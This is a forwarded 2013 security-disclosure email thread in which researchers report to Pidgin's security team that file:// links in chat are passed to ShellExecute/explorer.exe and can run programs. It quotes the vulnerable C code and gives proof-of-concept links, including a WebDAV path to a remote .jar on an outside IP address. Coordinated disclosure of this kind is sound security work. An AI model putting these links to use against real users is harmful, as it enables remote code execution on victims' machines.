Fwd: PGP key for vulnerability reports

[Richard Johnson]

Yves' last email on Nov 28th showed this issue also exists on the Linux
side with KDE as the desktop for example.


---------- Forwarded message ----------
From: Yves Younan <yyounan at sourcefire.com>
Date: Thu, Nov 28, 2013 at 6:05 PM
Subject: Re: PGP key for vulnerability reports
To: Daniel Atallah <datallah at pidgin.im>
Cc: Richard Johnson <rjohnson at sourcefire.com>, Pidgin Security <
security at pidgin.im>


So I looked at the code for this bug again and it looks like the behavior
that you wanted to execute when someone provided a link with a file:// URL
is: "explorer /select,url.”

Here is the code:
file_open_uri(GtkIMHtml *imhtml, const char *uri)
{
   /* Copied from gtkft.c:open_button_cb */
#ifdef _WIN32
   /* If using Win32... */
   int code;
   if (purple_str_has_prefix(uri, "file://"))
   {
       gchar *escaped = g_shell_quote(uri);
       gchar *param = g_strconcat("/select,\"", uri, "\"", NULL);
       wchar_t *wc_param = g_utf8_to_utf16(param, -1, NULL, NULL, NULL);

       code = (int)ShellExecuteW(NULL, L"OPEN", L"explorer.exe", wc_param,
NULL, SW_NORMAL);

       g_free(wc_param);
       g_free(param);
       g_free(escaped);
   } else {
       wchar_t *wc_filename = g_utf8_to_utf16(
               uri, -1, NULL, NULL, NULL);

       code = (int)ShellExecuteW(NULL, NULL, wc_filename, NULL, NULL,
               SW_SHOW);

       g_free(wc_filename);
   }

However, due to the way the function is called, you’ll never actually have
a URL that starts with file:// passed into that function:

#define FILELINKSIZE  (sizeof("file://") - 1)
static gboolean
file_clicked_cb(GtkIMHtml *imhtml, GtkIMHtmlLink *link)
{
   const char *uri = gtk_imhtml_link_get_url(link) + FILELINKSIZE;
   file_open_uri(imhtml, uri);
   return TRUE;
}

static gboolean
open_containing_cb(GtkIMHtml *imhtml, const char *url)
{
   char *dir = g_path_get_dirname(url + FILELINKSIZE);
   file_open_uri(imhtml, dir);
   g_free(dir);
   return TRUE;
}

i.e. before calling file_open_uri(), the calling functions are stripping
out the scheme name if it’s a file:// url, so the comparison in the
function will always fail.

The problem is that people can be tricked into executing code from a remote
server (as shown with the web dav link:
file://\\5.9.64.146\DavWWWRoot\test.jar) when passed a file:// url. They
won’t even be able to see that they are clicking on a file:// link unless
they see the tooltip. I consider that to be a pretty serious issue and not
at all the same  behavior as any of the major browsers.

To see what your intended behavior is, you can try sending the following
link file://file://c:\windows\notepad.exe. That will correctly execute
explorer /select. Although ShOpenFolderAndSelectItems() may be a safer
option to accomplish the same thing.


This issue also exists on other platforms:
In KDE:
        command = g_strdup_printf("kfmclient openURL %s", escaped);

So file:///usr/bin/konsole would be a URL that would work under KDE.
Although KDE will ask before executing, unlike Windows.


-YY






On 27, Nov2013, at 11:58, Yves Younan <yyounan at sourcefire.com> wrote:

>
> On 27, Nov2013, at 9:49, Daniel Atallah <datallah at pidgin.im> wrote:
>
>
>
>
>>
>> It looks like this may be browser specific behavior (or perhaps OS
specific).
>> I'm unable to to recreate this scenario on a Windows 7 test VM with the
http handler set to Firefox 25.0.1 (I do have Java 1.7.0_45 registered as
the handler for .jar files).
>> The ShellExecute call is what fails (returns ERROR_FILE_NOT_FOUND) - the
same thing that happens when I try to invoke
"file:///C:/windows/notepad.exe".
>>
>> The behavior is clearly different than when using Start->Run with the
same URL.
>
> In Pidgin the URL is a little different: file://C:\Windows\notepad.exe is
the correct URL to execute a program in Pidgin.
> Here’s also a .jar file that will execute (i.e. remote code execution)
notepad with a file argument (C:\:users\desktop.ini):
file://\\5.9.64.146\DavWWWRoot\test.jar (note this may take up to a minute
the first time as it needs to connect and download etc.)
>
>>
>> That looks like what I'm hoping the browser would do (and the filtering
that we've been counting on by sending everything to the browser).
>>
>> I guess we probably should filter out "file" URLs using the file scheme,
but if we can't trust the browser just blacklisting that scheme doesn't
seem like it solves very much.
>> I don't like the idea of maintaining a blacklist of patterns that we
should be filtering (or a whitelist either for that matter) - it isn't a
reasonable thing for each application to maintain.
>>
>> I won't have time to test this any time soon, but is it likely that
we're only vulnerable if the browser isn't doing the right thing (based on
my inability to recreate it above)?
>>
>> What are the specifics of the OS and default browser configuration under
which you were able to demonstrate the issue?
> I’ve tried it on multiple Windows 7’s 64 bit with default browsers being
both firefox and chrome. Now the way you’re calling ShellExecute it doesn’t
matter which browser is the default. You’re calling ShellExecute with
“explorer.exe”. That will pass http:// etc URLs to the default browser as
you expect, but it will handle file:// itself. That’s why you’re seeing a
difference in behaviour. Open an explorer (not IE, the shell explorer) and
enter file://C:\Windows\notepad.exe in the url bar there. You’ll see it
executes the program. The same thing happens for the .jar file and this is
the behaviour that Pidgin is exhibiting.
>
> -YY




-- 
Richard Johnson
Sourcefire VRT
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://pidgin.im/cgi-bin/mailman/private/security/attachments/20140110/0d846a79/attachment.html>